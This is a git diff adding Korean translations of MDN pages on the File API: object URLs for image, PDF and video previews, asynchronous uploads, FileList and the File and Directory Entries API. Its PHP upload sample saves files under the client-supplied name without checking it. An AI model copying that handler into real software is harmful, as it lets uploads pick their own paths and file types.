+<p>H여기에서 사용자가 선택한 파일을 다루는 반복문은 각 파일의 <code>type</code> 속성을 보고 MIME 타입이 "<code>image/</code>" 문자열로 시작하는지를 확인합니다. 이미지인 각 파일에 대해서는, 새로운 <code>img</code> 엘리먼트를 생성합니다. CSS를 사용하여 보기 좋은 테두리나 그림자를 설정할 수 있고 이미지의 크기를 지정할 수 있으므로, 스타일링에 대해서는 여기에서 다룰 필요는 없습니다.</p>
+
+<p>각 이미지는 각각에 추가된 CSS 클래스 <code>obj</code>를 가져, DOM 트리에서의 탐색을 더 쉽게만듭니다. 각 이미지에 이미지에 대한 {{DOMxRef("File")}}을 지정하는 <code>file</code> 속성도 추가합니다(이는 나중에 실제로 업로드를 위한 이미지를 fetch 할 수 있게해줍니다). {{DOMxRef("Node.appendChild()")}}를 사용하여 다큐먼트의 미리보기 영역에 새로운 섬네일을 추가합니다.</p>
+
+<p>다음으로, {{DOMxRef("FileReader")}}를 설정하여 이미지 로딩과 이를 <code>img</code> 엘리먼트에 추가하는 것을 비동기적으로 처리합니다. 새로운 <code>FileReader</code> 객체를 생성한 후에, <code>onload</code> 함수를 설정하고 <code>readAsDataURL()</code>을 호출하여 백그라운드에서 읽기 작업을 시작합니다. 이미지 파일의 전체 컨텐츠가 로드되었을 때, onload 콜백으로 전달되는 <code>data:</code> URL로 변환됩니다. 이 루틴을 구현하면 img 엘리먼트의 src 속성을 로드된 이미지로 설정하여 사용자 화면의 섬네일에 이미지가 나타나납니다.</p>
+
+<h2 id="객체_URL_사용하기">객체 URL 사용하기</h2>
+
+<p>Gecko 2.0 {{geckoRelease("2.0")}}은 DOM {{DOMxRef("window.URL.createObjectURL()")}} 및 {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드에 대한 지원을 소개했습니다. 이 메소드들은 사용자의 컴퓨터에 있는 로컬 파일을 포함해, DOM {{DOMxRef("File")}} 객체를 사용해 참조된 데이터에 대한 참조로 사용할 수 있는 간단한 URL 문자열을 생성할 수 있게 해줍니다.</p>
+
+<p>HTML에 URL로 참조하길 원하는 {{DOMxRef("File")}} 객체가 있다면, 다음과 같이 객체 URL을 생성할 수 있습니다.</p>
+
+<pre class="brush: js">const objectURL = window.URL.createObjectURL(fileObj);</pre>
+
+<p>객체 URL은 {{DOMxRef("File")}} 객체를 식별하는 문자열입니다. {{DOMxRef("window.URL.createObjectURL()")}}을 호출할때마다, 여러분이 이미 해당 파일에 대한 객체 URL을 생성했더라도 고유한 객체 URL이 생성됩니다. 각각은 반드시 해제되어야 합니다. 객체 URL은 다큐먼트가 unload될 때 자동으로 해제되지만, 여러분의 페이지가 동적으로 이를 사용할 경우 {{DOMxRef("window.URL.revokeObjectURL()")}}을 호출하여 명시적으로 해제해야합니다.</p>
+
+<pre class="brush: js">window.URL.revokeObjectURL(objectURL);</pre>
+
+<h2 id="예시_객체_URL을_사용하여_이미지_표시하기">예시: 객체 URL을 사용하여 이미지 표시하기</h2>
+
+<p>다음 예시는 객체 URL을 사용하여 이미지 섬네일을 표시합니다. 부가적으로, 파일의 이름과 크기를 포함한 다른 정보도 표시합니다.</p>
+
+<p>인터페이스를 나타내는 HTML은 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+  &lt;p&gt;No files selected!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>위 코드는 파일 선택기를 불러오는 링크와 우리의 파일 {{HTMLElement("input")}} 엘리먼트를 설정합니다(파일 input을 숨겨 덜 매력적인 사용자 인터페이스가 표시되는 것을 방지하였으므로). 이는 파일 선택기를 불러오는 메소드와 마찬가지로, {{anch("Using hidden file input elements using the click() method")}} 섹션에서 설명합니다.</p>
+
+<p><code>handleFiles()</code> 메소드는 다음과 같습니다.</p>
+
+<pre class="brush: js">window.URL = window.URL || window.webkitURL;
+
+const fileSelect = document.getElementById("fileSelect"),
+    fileElem = document.getElementById("fileElem"),
+    fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+  e.preventDefault(); // "#" 해시로 이동을 방지
+}, false);
+
+function handleFiles(files) {
+  if (!files.length) {
+    fileList.innerHTML = "&lt;p&gt;No files selected!&lt;/p&gt;";
+  } else {
+    fileList.innerHTML = "";
+    const list = document.createElement("ul");
+    fileList.appendChild(list);
+    for (let i = 0; i &lt; files.length; i++) {
+      const li = document.createElement("li");
+      list.appendChild(li);
+
+      const img = document.createElement("img");
+      img.src = window.URL.<strong>createObjectURL</strong>(files[i]);
+      img.height = 60;
+      img.onload = function() {
+        window.URL.<strong>revokeObjectURL</strong>(this.src);
+      }
+      li.appendChild(img);
+      const info = document.createElement("span");
+      info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+      li.appendChild(info);
+    }
+  }
+}
+</pre>
+
+<p><code>fileList</code> ID로 {{HTMLElement("div")}}의 URL을 페칭하는 것으로 시작합니다. 이는 섬네일을 포함하여 파일 리스트로 삽입하는 블록입니다.</p>
+
+<p><code>handleFiles()</code>로 전달된 {{DOMxRef("FileList")}} 객체가 <code>null</code>인 경우, 블록의 inner HTML을 간단하게 "No files selected!"를 표시하도록 설정합니다. <code>null</code>이 아닌 경우, 다음과 같이 파일 리스트를 구축합니다.</p>
+
+<ol>
+ <li>새로운 순서가 없는 리스트({{HTMLElement("ul")}}) 엘리먼트가 생성됩니다.</li>
+ <li>새로운 리스트 엘리먼트가 {{DOMxRef("Node.appendChild()")}} 메소드 호출에 의해 {{HTMLElement("div")}} 블록으로 삽입됩니다.</li>
+ <li><code>files</code>에 의해 나타나는 {{DOMxRef("FileList")}} 내의 각 {{DOMxRef("File")}}에 대해 :
+  <ol>
+   <li>새로운 리스트 항목({{HTMLElement("li")}}) 엘리먼트를 생성하고 리스트로 삽입합니다.</li>
+   <li>새로운 이미지({{HTMLElement("img")}}) 엘리먼트를 생성합니다.</li>
+   <li>{{DOMxRef("window.URL.createObjectURL()")}}을 사용하여 이미지의 소스를 파일을 나타내는 새로운 객체 URL로 설정해 blob URL을 생성합니다.</li>
+   <li>이미지의 height를 60 픽셀로 설정합니다.</li>
+   <li>이미지가 로드된 이후에 더 이상 필요하지 않게되므로 객체 URL을 해제하기 위한 이미지의 로드 이벤트 핸들러를 설정합니다. {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드를 호출하고 <code>img.src</code>로 지정한 객체 URL 문자열을 전달하면됩니다.</li>
+   <li>리스트로 새로운 리스트 항목을 추가합니다.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>다음은 위 코드의 라이브 데모입니다.</p>
+
+<p>{{EmbedLiveSample('Example_Using_object_URLs_to_display_images', '100%', '300px')}}</p>
+
+<h2 id="Example_Uploading_a_user-selected_file">Example: Uploading a user-selected file</h2>
+
+<p>Another thing you might want to do is let the user upload the selected file or files (such as the images selected using the previous example) to a server. This can be done asynchronously very easily.</p>
+
+<h3 id="Creating_the_upload_tasks">Creating the upload tasks</h3>
+
+<p>Continuing with the code that built the thumbnails in the previous example, recall that every thumbnail image is in the CSS class <code>obj</code> with the corresponding {{DOMxRef("File")}} attached in a <code>file</code> attribute. This allows us to select all of the images the user has chosen for uploading using {{DOMxRef("Document.querySelectorAll()")}}, like this:</p>
+
+<pre class="brush: js">function sendFiles() {
+  const imgs = document.querySelectorAll(".obj");
+
+  for (let i = 0; i &lt; imgs.length; i++) {
+    new FileUpload(imgs[i], imgs[i].file);
+  }
+}
+</pre>
+
+<p>Line 2 fetches a <span style="line-height: 1.5;">{{DOMxRef("NodeList")}}</span><span style="line-height: 1.5;">, called </span><code style="font-size: 14px;">imgs</code><span style="line-height: 1.5;">, of all the elements in the document with the CSS class </span><code style="font-size: 14px;">obj</code><span style="line-height: 1.5;">. In our case, these will be all of the image thumbnails. Once we have that list, it's trivial to go through it and create a new </span><code style="font-size: 14px;">FileUpload</code><span style="line-height: 1.5;"> instance for each. Each of these handles uploading the corresponding file.</span></p>
+
+<h3 id="Handling_the_upload_process_for_a_file">Handling the upload process for a file</h3>
+
+<p>The <code>FileUpload</code> function accepts two inputs: an image element and a file from which to read the image data.</p>
+
+<pre class="brush: js">function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+</pre>
+
+<p>The <code>FileUpload()</code> function shown above creates a throbber, which is used to display progress information, and then creates an {{DOMxRef("XMLHttpRequest")}} to handle uploading the data.</p>
+
+<p>Before actually transferring the data, several preparatory steps are taken:</p>
+
+<ol>
+ <li>The <code>XMLHttpRequest</code>'s upload <code>progress</code> listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.</li>
+ <li>The <code>XMLHttpRequest</code>'s upload <code>load</code> event handler is set to update the throbber progress information to 100% to ensure the progress indicator actually reaches 100% (in case of granularity quirks during the process). It then removes the throbber since it's no longer needed. This causes the throbber to disappear once the upload is complete.</li>
+ <li>The request to upload the image file is opened by calling <code>XMLHttpRequest</code>'s <code>open()</code> method to start generating a POST request.</li>
+ <li>The MIME type for the upload is set by calling the <code>XMLHttpRequest</code> function <code>overrideMimeType()</code>. In this case, we're using a generic MIME type; you may or may not need to set the MIME type at all depending on your use case.</li>
+ <li>The <code>FileReader</code> object is used to convert the file to a binary string.</li>
+ <li>Finally, when the content is loaded the <code>XMLHttpRequest</code> function <code>send()</code> is called to upload the file's content.</li>
+</ol>
+
+<div class="note"><strong>Note:</strong> The non-standard <code>sendAsBinary</code> method which was previously used in the example above is considered deprecated as of Gecko 31 {{geckoRelease(31)}}; use the standard <code>send(Blob data)</code> method instead.</div>
+
+<h3 id="Asynchronously_handling_the_file_upload_process">Asynchronously handling the file upload process</h3>
+
+<p>This example, which uses PHP on the server side and JavaScript on the client side, demonstrates asynchronous uploading of a file.</p>
+
+<pre class="brush: js">&lt;?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?&gt;&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;dnd binary upload&lt;/title&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+    &lt;script type="application/javascript"&gt;
+        function sendFile(file) {
+            const uri = "/index.php";
+            const xhr = new XMLHttpRequest();
+            const fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            const dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                const filesArray = event.dataTransfer.files;
+                for (let i=0; i&lt;filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div&gt;
+        &lt;div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;"&gt;Drag &amp; drop your file here...&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_Using_object_URLs_to_display_PDF">Example: Using object URLs to display PDF</h2>
+
+<p>Object URLs can be used for other things than just images! They can be used to display embedded PDF files or any other resources that can be displayed by the browser.</p>
+
+<p>In Firefox, to have the PDF appear embedded in the iframe (rather than proposed as a downloaded file), the preference <code>pdfjs.disabled</code> must be set to <code>false</code> {{non-standard_inline()}}.</p>
+
+<pre class="brush: html">&lt;iframe id="viewer"&gt;
+</pre>
+
+<p>And here is the change of the <code>src</code> attribute:</p>
+
+<pre class="brush: js">const obj_url = window.URL.createObjectURL(blob);
+const iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Example_Using_object_URLs_with_other_file_types">Example: Using object URLs with other file types</h2>
+
+<p>You can manipulate files of other formats the same way. Here is how to preview uploaded video:</p>
+
+<pre class="brush: js">const video = document.getElementById('video');
+const obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/progress-events/" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML 5 working draft)</li>
+ <li><a href="http://www.w3.org/TR/FileAPI/" title="http://www.w3.org/TR/FileAPI/">File API</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("File")}}</li>
+ <li>{{DOMxRef("FileList")}}</li>
+ <li>{{DOMxRef("FileReader")}}</li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></li>
+ <li>{{DOMxRef("XMLHttpRequest")}}</li>
+</ul>
diff --git a/files/ko/web/api/file_and_directory_entries_api/index.html b/files/ko/web/api/file_and_directory_entries_api/index.html
new file mode 100644
index 0000000000..d4a93a15e9
--- /dev/null
+++ b/files/ko/web/api/file_and_directory_entries_api/index.html
@@ -0,0 +1,131 @@
+---
+title: File and Directory Entries API
+slug: Web/API/File_and_Directory_Entries_API
+translation_of: Web/API/File_and_Directory_Entries_API
+---
+<p>{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}</p>
+
+<p>The File and Directory Entries API는 탐색 및 파일 접근이 가능한 로컬 파일 시스템을 웹상에 시뮬레이션합니다. 이 API를 통해 당신은 읽고, 쓰고, 파일과 디렉토리를 생성할 수 있는 가상의 파일 시스템을 가진 앱을 개발할 수 있을 것입니다.</p>
+
+<div class="note">
+<p>이 API는 아직 표준이 아니기 때문에, 모든 브라우저가 이를 지원하지 않는 다는 점을 유념하십시오. 지원하더라도 일부 기능만을 지원할 수도 있습니다. 자세한 내용은 브라우저 호환성({{anch("Browser compatibility")}}) 항목을 참조하십시오.</p>
+</div>
+
+<p>동기적 혹은 비동기적인 동작 중 어느 쪽을 필요로 하냐에 따라 만들어진 매우 유사한 두 개의 API가 있습니다. 동기식 API는 {{domxref("Worker")}} 내에서 사용될 수 있도록 확장되어 왔으며 당신이 원하는 값을 반환합니다. 비동기식 API는 브라우저의 동작을 방해하지 않지만 함수와 API가 값을 반환하지 않습니다; 그 대신, 당신은 콜백 함수를 이용해 언제든 응답을 처리할 수 있습니다.</p>
+
+<div class="warning">
+<p>Firefox에 내장된 File and Directory Entries API는 매우 제한적입니다; 해당 환경에서는 파일 생성을 사용할 수 없습니다. {{HTMLElement("input")}}이나 ({{domxref("HTMLInputElement")}} 도 확인하십시오) 앱이나 웹사이트에서 드래그 앤 드롭(<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>)을 통해 유저가 직접 선택한 파일에만 액세스 가능합니다. 또한 Firefox는 동기식 API 역시 지원하지 않습니다. API의 어떤 부분을 사용하려고 하든 반드시 브라우저 호환성을 확인하시고, Firefox에 대한 이 API의 호환성(<a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a>)을 통해 더 자세하게 알아보도록 하십시오.</p>
+</div>
+
+<h2 id="파일_시스템에_접근하기">파일 시스템에 접근하기</h2>
+
+<p>현재로서 정의된 파일 시스템에 대한 접근 방법은 두 가지입니다:</p>
+
+<ul>
+ <li>드래그 앤 드롭({{event("drop")}}) 이벤트를 제어함으로써, 당신은 {{domxref("DataTransferItem.webkitGetAsEntry()")}} 를 통해{{domxref("FileSystemEntry")}}에 드롭한 파일을 전달할 수 있습니다. 만일 결과가 <code>null</code>이 아니라면, 드롭한 파일 혹은 디렉토리를 파일 시스템에서 사용할 수 있을 것입니다.</li>
+ <li>{{domxref("HTMLInputElement.webkitEntries")}} 속성은 당신이 {{domxref("FileSystemFileEntry")}} 객체에 현재 선택된 파일을 접근시킬 수 있게 하지만, 파일 선택기(File chooser)로 직접 드래그 앤 드롭한 경우에만 가능합니다. ({{bug(1326031)}}). 만일 {{domxref("HTMLInputElement.webkitdirectory")}}의 값을 <code>true</code>로 두었다면, 디렉토리 선택자(Directory picker) 대신 {{HTMLElement("input")}} 를 사용할 수 있고, 선택된 각 디렉토리에 대해 {{domxref("FileSystemDirectoryEntry")}} 객체로 만들 수 있습니다.</li>
+</ul>
+
+<h2 id="비동기식_API">비동기식 API</h2>
+
+<p>파일 시스템 액세스가 메인 스레드에서 사용될 경우 전체 브라우저를 차단하지 않도록 대부분의 작업은 비동기 API를 이용하여야 합니다. 다음과 같은 인터페이스를 포함하고 있습니다:</p>
+
+<dl>
+ <dt>{{domxref("FileSystem")}}</dt>
+ <dd>파일 시스템을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemEntry")}}</dt>
+ <dd>파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.</dd>
+ <dt>{{domxref("FileSystemFileEntry")}}</dt>
+ <dd>파일 시스템 내의 단일 파일을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntry")}}</dt>
+ <dd>파일 시스템 내의 단일 디렉토리를 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryReader")}}</dt>
+ <dd>{{domxref("FileSystemDirectoryEntry.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.</dd>
+ <dt>{{domxref("FileSystemFlags")}}</dt>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a>에서 특정 메소드를 호출할 때 옵션 플래그로 사용되는 값들의 집합을 정의합니다.</dd>
+ <dt>{{DOMxRef("FileError")}} {{Obsolete_Inline}}</dt>
+ <dd>비동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.</dd>
+</dl>
+
+<p>또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Window")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystem")}}에 구현되어 있습니다: 각각 <code>requestFileSystem()</code> 과 <code>resolveLocalFileSystemURL()</code>.</p>
+
+<h2 id="동기식_API">동기식 API</h2>
+
+<p>동기식 API는 반드시 {{domxref("Worker")}}s 안에서만 사용되어야 합니다; 이 호출들은 그들이 실행이 완료될 때 까지 브라우저의 동작을 멈추며, 콜백을 보내는 대신 단순히 결과값을 반환합니다. 이 함수들을 메인 스레드에서 사용하는 것은 브라우저의 동작을 멈출 것이며, 그것은 너무 난잡한 방식입니다. 아래의 인터페이스들은 비동기식 API와 기능적으로 거의 유사합니다.</p>
+
+<dl>
+ <dt>{{domxref("FileSystemSync")}}</dt>
+ <dd>파일 시스템을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemEntrySync")}}</dt>
+ <dd>파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.</dd>
+ <dt>{{domxref("FileSystemFileEntrySync")}}</dt>
+ <dd>파일 시스템 내의 단일 파일을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt>
+ <dd>파일 시스템 내의 단일 디렉토리를 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt>
+ <dd>{{domxref("FileSystemDirectoryEntrySync.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.</dd>
+ <dt>{{DOMxRef("FileException")}} {{Obsolete_Inline}}</dt>
+ <dd>동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.</dd>
+</dl>
+
+<p>또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Worker")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystemSync")}}에 구현되어 있습니다: 각각 <code>requestFileSystemSync()</code> 과 <code>resolveLocalFileSystemSyncURL()</code>.</p>
+
+<h2 id="기타_인터페이스">기타 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("LocalFileSystem")}}</dt>
+ <dd>샌드박스 파일 시스템에 접근할 수 있습니다.</dd>
+ <dt>{{domxref("LocalFileSystemSync")}}</dt>
+ <dt></dt>
+ <dt>{{domxref("LockedFile")}}</dt>
+ <dd>필요한 모든 잠금을 사용하여 주어진 파일을 처리할 수 있는 도구를 제공합니다.</dd>
+ <dt>{{domxref("Metadata")}}{{experimental_inline}}</dt>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File System API')}}</td>
+   <td>{{Spec2('File System API')}}</td>
+   <td>API 초안</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이 API는 공식 W3C나 WHATWG명세를 가지고 있지 않습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<h3 id="FileSystem"><code>FileSystem</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.FileSystem", 0)}}</p>
+
+<h3 id="FileSystemSync_속성"><code>FileSystemSync</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.FileSystemSync", 0)}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>File and Directory Entries API 소개(<a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introduction to the File and Directory Entries API</a>)</li>
+ <li>Firefox에 대한 File and Directory Etnries API의 호환성(<a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a>)</li>
+</ul>
diff --git a/files/ko/web/api/filelist/index.html b/files/ko/web/api/filelist/index.html
new file mode 100644
index 0000000000..8176496fe2
--- /dev/null
+++ b/files/ko/web/api/filelist/index.html
@@ -0,0 +1,155 @@
+---
+title: FileList
+slug: Web/API/FileList
+translation_of: Web/API/FileList
+---
+<div>{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>이 타입의 객체는 HTML {{HTMLElement("input")}} 엘리먼트의 <code>files</code> 속성으로부터 반환됩니다; 이는 <code>&lt;input type="file"&gt;</code> 엘리먼트로 선택된 파일의 리스트에 접근하도록 합니다. 또한 드래그 앤 드랍 API를 사용할 때 웹 컨텐트에 드랍된 파일의 리스트에도 사용됩니다; 이 사용에 대한 자세한 내용은 <a href="/en-US/docs/DragDrop/DataTransfer" title="DragDrop/DataTransfer"><code>DataTransfer</code></a> 객체를 보십시오.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{Gecko("1.9.2")}} 이전에는, input 엘리먼트는 한번에 하나의 선택된 파일만 지원되었습니다, 이는 FileList가 하나의 파일만을 포함했음을 의미합니다. {{Gecko("1.9.2")}}를 시작으로, input 엘리먼트의 multiple 속성이 true이면, FileList는 복수의 파일을 포함할 수 있습니다.</p>
+</div>
+
+<h2 id="Using_the_file_list" name="Using_the_file_list">파일 리스트 사용</h2>
+
+<p>모든 <code>&lt;input&gt;</code> 엘리먼트 노드는 이 리스트의 항목에 접근하도록 허용하는 <code>files</code> 배열을 가지고 있습니다. 예를 들어, HTML이 다음의 파일 입력을 포함한다면:</p>
+
+<pre>&lt;input id="fileItem" type="file"&gt;
+</pre>
+
+<p> </p>
+
+<p>다음 코드 행은 노드의 파일 목록에있는 첫 번째 파일을 File 객체로 가져옵니다.</p>
+
+<pre class="brush: js">var file = document.getElementById('fileItem').files[0];
+</pre>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>File <a href="#item ()">item</a>(index);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Properties</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>length</code></td>
+   <td><code>integer</code></td>
+   <td>목록에있는 파일의 수를 나타내는 읽기 전용 값.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="item()" name="item()">item()</h3>
+
+<p> </p>
+
+<pre dir="ltr" id="tw-target-text">파일리스트의 지정된 인덱스에있는 파일을 나타내는 File 객체를 리턴합니다.</pre>
+
+<p> </p>
+
+<pre> File item(
+   index
+ );
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>리스트로부터 받은 파일의 인덱스로, 0부터 시작합니다.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>요청된 파일을 나타내는 <a href="/en-US/docs/DOM/File" title="DOM/File"><code>File</code></a> 입니다.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>이 예시는 <code>input</code> 엘리먼트를 사용하여 사용자에 의해 선택된 모든 파일을 순회합니다:</p>
+
+<pre class="brush:js">// fileInput is an HTML input element: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+var file;
+
+// loop through files
+for (var i = 0; i &lt; files.length; i++) {
+
+    // get item
+    file = files.item(i);
+    //or
+    file = files[i];
+
+    alert(file.name);
+}
+</pre>
+
+<p>완전한 코드는 다음과 같습니다.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;!--multiple is set to allow multiple files to be selected--&gt;
+
+&lt;input id="myfiles" multiple type="file"&gt;
+
+&lt;/body&gt;
+
+&lt;script&gt;
+
+var pullfiles=function(){
+    // love the query selector
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // cache files.length
+    var fl = files.length;
+    var i = 0;
+
+    while ( i &lt; fl) {
+        // localize file var in the loop
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// set the input element onchange to call pullfiles
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+&lt;/script&gt;
+
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML5 working draft)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+ <li><code><a href="/en-US/docs/DOM/File" title="DOM/File">File</a></code></li>
+ <li><code><a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader">FileReader</a></code></li>
+</ul>
diff --git a/files/ko/web/api/filereader/index.html b/files/ko/web/api/filereader/index.html
new file mode 100644
index 0000000000..f444a189fa
--- /dev/null
+++ b/files/ko/web/api/filereader/index.html
@@ -0,0 +1,111 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+tags:
+  - API
+  - File API
+  - Files
+  - Interface
+  - Reference
+translation_of: Web/API/FileReader
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><strong><code>FileReader</code></strong> 객체는 웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는{{ domxref("File") }} 혹은 {{ domxref("Blob") }} 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다.</p>
+
